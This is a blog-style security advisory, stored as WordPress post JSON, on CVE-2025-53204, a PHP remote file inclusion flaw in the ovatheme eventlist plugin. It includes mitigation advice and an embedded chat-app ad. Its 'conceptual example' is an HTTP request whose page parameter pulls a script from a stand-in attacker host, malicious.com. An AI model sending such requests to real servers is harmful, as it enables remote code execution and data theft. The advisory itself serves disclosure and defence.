{"id":71665,"date":"2025-09-06T05:59:39","date_gmt":"2025-09-06T05:59:39","guid":{"rendered":""},"modified":"2025-10-24T16:20:27","modified_gmt":"2025-10-24T22:20:27","slug":"cve-2025-53204-php-remote-file-inclusion-vulnerability-in-ovatheme-eventlist","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53204-php-remote-file-inclusion-vulnerability-in-ovatheme-eventlist\/","title":{"rendered":"<strong>CVE-2025-53204: PHP Remote File Inclusion Vulnerability in ovatheme eventlist<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the rapidly evolving world of cybersecurity, a new vulnerability has caught our attention: the CVE-2025-53204. This vulnerability pertains to an improper control of filename for include\/require statement in PHP Program, commonly known as a &#8216;PHP Remote File Inclusion&#8217; vulnerability. The affected software is ovatheme&#8217;s eventlist, a widely used event <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5953-privilege-escalation-through-wp-human-resource-management-plugin-vulnerability\/\"  data-wpil-monitor-id=\"91434\">management plugin<\/a> for websites. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-41525-critical-sql-injection-vulnerability-in-hospital-management-system-v4\/\"  data-wpil-monitor-id=\"79299\">vulnerability is significant because it poses a risk of system<\/a> compromise and data leakage, making it a pressing issue for any organization utilizing this software.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-53204<br \/>\nSeverity: High (CVSS score 8.1)<br \/>\nAttack Vector: Remote<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55731-sql-injection-vulnerability-in-frappe-framework-leading-to-potential-data-leakage\/\"  data-wpil-monitor-id=\"79279\">Potential system compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-4145782846\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>ovatheme eventlist | through 1.9.2<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31713-a-potential-privilege-escalation-vulnerability-due-to-command-injection\/\"  data-wpil-monitor-id=\"79466\">vulnerability exists due<\/a> to an error in the eventlist software&#8217;s processing of PHP include\/require statements. This allows an attacker to manipulate the filename parameter and include <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7778-arbitrary-file-deletion-vulnerability-in-icons-factory-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"79647\">arbitrary files<\/a> from remote servers. These files could contain <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8714-critical-postgresql-vulnerability-allowing-malicious-code-injection-by-superusers\/\"  data-wpil-monitor-id=\"80778\">malicious PHP code<\/a>, which would then be executed in the context of the web server. As a result, the attacker could gain unauthorized <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53763-improper-access-control-in-azure-databricks-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"79815\">access to the system<\/a> or sensitive data.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1260360999\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s an example of how the vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/path\/to\/eventlist\/index.php?page=http:\/\/malicious.com\/malicious_script.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker has manipulated the &#8220;page&#8221; parameter to include a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7390-malicious-client-bypass-of-opc-https-server-certificate-trust-check\/\"  data-wpil-monitor-id=\"81871\">malicious PHP script hosted on their own server<\/a> (`http:\/\/malicious.com\/malicious_script.txt`). When the server processes this request, it includes the malicious script, which is then executed on the server. This could lead to a variety of harmful outcomes, depending on the content of the malicious script.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Organizations are urged to apply the vendor-provided patch as soon as possible to mitigate the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55293-high-risk-vulnerability-in-meshtastic-s-mesh-networking-solution\/\"  data-wpil-monitor-id=\"81333\">risk posed by this vulnerability<\/a>. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46414-unlimited-pin-attempts-vulnerability-in-api\/\"  data-wpil-monitor-id=\"81202\">attempts to exploit this vulnerability<\/a>. When configuring these systems, look for suspicious activity involving the manipulation of PHP include\/require statements, particularly those involving <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25174-critical-php-remote-file-inclusion-vulnerability-in-beeteam368-extensions\/\"  data-wpil-monitor-id=\"81091\">remote file<\/a> references.<br \/>\nIn conclusion, the CVE-2025-53204 is a high-severity vulnerability that requires immediate attention. By understanding the nature of the vulnerability and taking the appropriate steps to mitigate its risks, organizations can help protect their <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42957-critical-backdoor-vulnerability-in-sap-s-4hana-exposes-systems-to-potential-compromise\/\"  data-wpil-monitor-id=\"79597\">systems and data from potential<\/a> compromise.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the rapidly evolving world of cybersecurity, a new vulnerability has caught our attention: the CVE-2025-53204. This vulnerability pertains to an improper control of filename for include\/require statement in PHP Program, commonly known as a &#8216;PHP Remote File Inclusion&#8217; vulnerability. The affected software is ovatheme&#8217;s eventlist, a widely used event management plugin for websites. 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